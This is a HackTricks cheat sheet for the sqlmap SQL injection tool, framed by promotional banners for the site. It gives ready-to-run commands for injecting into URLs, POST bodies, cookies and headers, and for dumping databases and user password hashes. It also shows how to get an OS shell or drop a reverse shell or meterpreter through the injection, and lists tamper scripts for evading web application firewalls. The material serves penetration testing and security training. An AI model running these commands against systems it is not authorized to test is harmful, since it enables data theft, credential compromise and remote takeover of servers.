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228 lines
9.8 KiB
Markdown
228 lines
9.8 KiB
Markdown
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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# Basic arguments for SQLmap
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## Generic
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```bash
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-u "<URL>"
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-p "<PARAM TO TEST>"
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--user-agent=SQLMAP
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--random-agent
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--threads=10
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--risk=3 #MAX
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--level=5 #MAX
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--dbms="<KNOWN DB TECH>"
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--os="<OS>"
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--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
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--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
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--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
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--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
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--proxy=PROXY
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```
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## Retrieve Information
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### Internal
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```bash
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--current-user #Get current user
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--is-dba #Check if current user is Admin
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--hostname #Get hostname
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--users #Get usernames od DB
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--passwords #Get passwords of users in DB
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```
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### DB data
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```bash
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--all #Retrieve everything
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--dump #Dump DBMS database table entries
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--dbs #Names of the available databases
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--tables #Tables of a database ( -D <DB NAME> )
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--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
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-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
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```
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# Injection place
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## From Burp/ZAP capture
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Capture the request and create a req.txt file
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```bash
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sqlmap -r req.txt --current-user
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```
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## GET Request Injection
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```bash
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sqlmap -u "http://example.com/?id=1" -p id
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sqlmap -u "http://example.com/?id=*" -p id
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```
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## POST Request Injection
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```bash
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sqlmap -u "http://example.com" --data "username=*&password=*"
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```
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## Injections in Headers and other HTTP Methods
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```bash
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#Inside cookie
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sqlmap -u "http://example.com" --cookie "mycookies=*"
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#Inside some header
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sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
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sqlmap -u "http://example.com" --headers="referer:*"
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#PUT Method
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sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
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#The injection is located at the '*'
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```
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## Second order injection
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```bash
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python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
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sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
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```
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## Shell
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```bash
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#Exec command
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
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#Simple Shell
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
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#Dropping a reverse-shell / meterpreter
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
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```
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## Crawl a website with SQLmap and auto-exploit
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```bash
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sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
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--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
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--crawl = how deep you want to crawl a site
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--forms = Parse and test forms
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```
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# Customizing Injection
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## Set a suffix
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```bash
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python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
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```
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## Prefix
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```bash
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python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
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```
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## Help finding boolean injection
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```bash
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# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
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sqlmap -r r.txt -p id --not-string ridiculous --batch
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```
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## Tamper
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```bash
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--tamper=name_of_the_tamper
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#In kali you can see all the tampers in /usr/share/sqlmap/tamper
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```
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| Tamper | Description |
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| :--- | :--- |
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| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
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| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
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| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
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| base64encode.py | Base64 all characters in a given payload |
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| between.py | Replaces greater than operator \('>'\) with 'NOT BETWEEN 0 AND \#' |
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| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
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| chardoubleencode.py | Double url-encodes all characters in a given payload \(not processing already encoded\) |
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| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
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| commalessmid.py | Replaces instances like 'MID\(A, B, C\)' with 'MID\(A FROM B FOR C\)' |
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| concat2concatws.py | Replaces instances like 'CONCAT\(A, B\)' with 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
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| charencode.py | Url-encodes all characters in a given payload \(not processing already encoded\) |
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| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "%u0022" |
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| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "\u0022" |
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| equaltolike.py | Replaces all occurances of operator equal \('='\) with operator 'LIKE' |
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| escapequotes.py | Slash escape quotes \(' and "\) |
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| greatest.py | Replaces greater than operator \('>'\) with 'GREATEST' counterpart |
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| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
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| ifnull2ifisnull.py | Replaces instances like 'IFNULL\(A, B\)' with 'IF\(ISNULL\(A\), B, A\)' |
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| modsecurityversioned.py | Embraces complete query with versioned comment |
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| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
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| multiplespaces.py | Adds multiple spaces around SQL keywords |
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| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement \(e.g. .replace\("SELECT", ""\)\) filters |
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| percentage.py | Adds a percentage sign \('%'\) infront of each character |
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| overlongutf8.py | Converts all characters in a given payload \(not processing already encoded\) |
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| randomcase.py | Replaces each keyword character with random case value |
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| randomcomments.py | Add random comments to SQL keywords |
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| securesphere.py | Appends special crafted string |
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| sp\_password.py | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs |
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| space2comment.py | Replaces space character \(' '\) with comments |
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| space2dash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a random string and a new line \('\n'\) |
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| space2hash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
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| space2morehash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
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| space2mssqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
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| space2mssqlhash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a new line \('\n'\) |
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| space2mysqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
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| space2mysqldash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a new line \('\n'\) |
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| space2plus.py | Replaces space character \(' '\) with plus \('+'\) |
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| space2randomblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
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| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts \(&& and |
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| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
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| unmagicquotes.py | Replaces quote character \('\) with a multi-byte combo %bf%27 together with generic comment at the end \(to make it work\) |
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| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
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| varnish.py | Append a HTTP header 'X-originating-IP' |
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| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
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| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
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| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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